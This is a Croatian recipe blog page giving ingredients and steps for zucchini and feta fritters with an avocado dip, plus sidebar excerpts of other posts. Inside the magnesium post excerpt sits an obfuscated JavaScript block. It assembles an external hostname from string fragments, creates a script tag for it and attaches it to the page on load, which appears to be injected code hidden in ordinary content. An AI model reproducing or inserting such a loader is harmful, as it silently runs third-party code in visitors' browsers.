POPEČCI OD TIKVICA I FETA SIRA





Popečci od tikvica i feta sira 



Popečci od tikvica i fete puni su okusa, pripremaju se jednostavno i možete ih poslužiti kao predjelo ili međuobrok, prilog ili laganu večeru. Izvana su hrskavi i zlatni, a iznutra mekani i puni mediteranskih aroma.




Popečci od tikvica i feta sira 


Sastojci:

  • 2 srednje tikvice, naribane
  • 3 mlada luka, tanko narezana
  • 25 g svježeg peršina, grubo nasjeckanog
  • 4 žlice svježeg kopra, nasjeckanog
  • 1 veliko jaje
  • 1 žumanjak
  • 75 g glatkog brašna
  • sol
  • svježe mljeveni papar
  • 115 g fete, izmrvljene
  • 60 ml ulja
  • 60 ml ekstra djevičanskog maslinovog ulja
  • krupna sol, za posluživanje

Za umak od avokada

  • 2 zrela avokada
  • 3 žlice svježe cijeđenog soka limete
  • 1 čajna žličica ekstra djevičanskog maslinovog ulja
  • ½ čajne žličice soli



Priprema:


  1. Naribane tikvice stavite u čistu kuhinjsku krpu i posolite prstohvatom soli. Dobro ih stisnite kako biste uklonili što više tekućine. Ponovite nekoliko puta.
  2. Ocijeđene tikvice prebacite u veću zdjelu pa dodajte mladi luk, peršin, kopar, jaje i žumanjak.
  3. Dodajte brašno i lagano promiješajte kako se ne bi stvorile grudice. Posolite i popaprite po ukusu, zatim nježno umiješajte izmrvljenu fetu.
  4. U velikoj tavi zagrijte polovicu ulja repice i polovicu maslinovog ulja na srednje jakoj vatri.
  5. Žlicom stavljajte male hrpice smjese u tavu, ostavljajući razmak između njih. Lagano ih spljoštite pa pecite 1,5 do 2 minute sa svake strane, dok ne postanu zlatno-smeđe i hrskave.
  6. Pečene popečke prebacite na tanjur obložen papirnatim ručnicima. Po potrebi dodajte još ulja i ispecite ostatak.

    Umak od avokada

  1. U sjeckalici ili blenderu izmiksajte avokado, sok limete, maslinovo ulje i sol dok ne dobijete glatku i kremastu teksturu nalik gustom jogurtu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više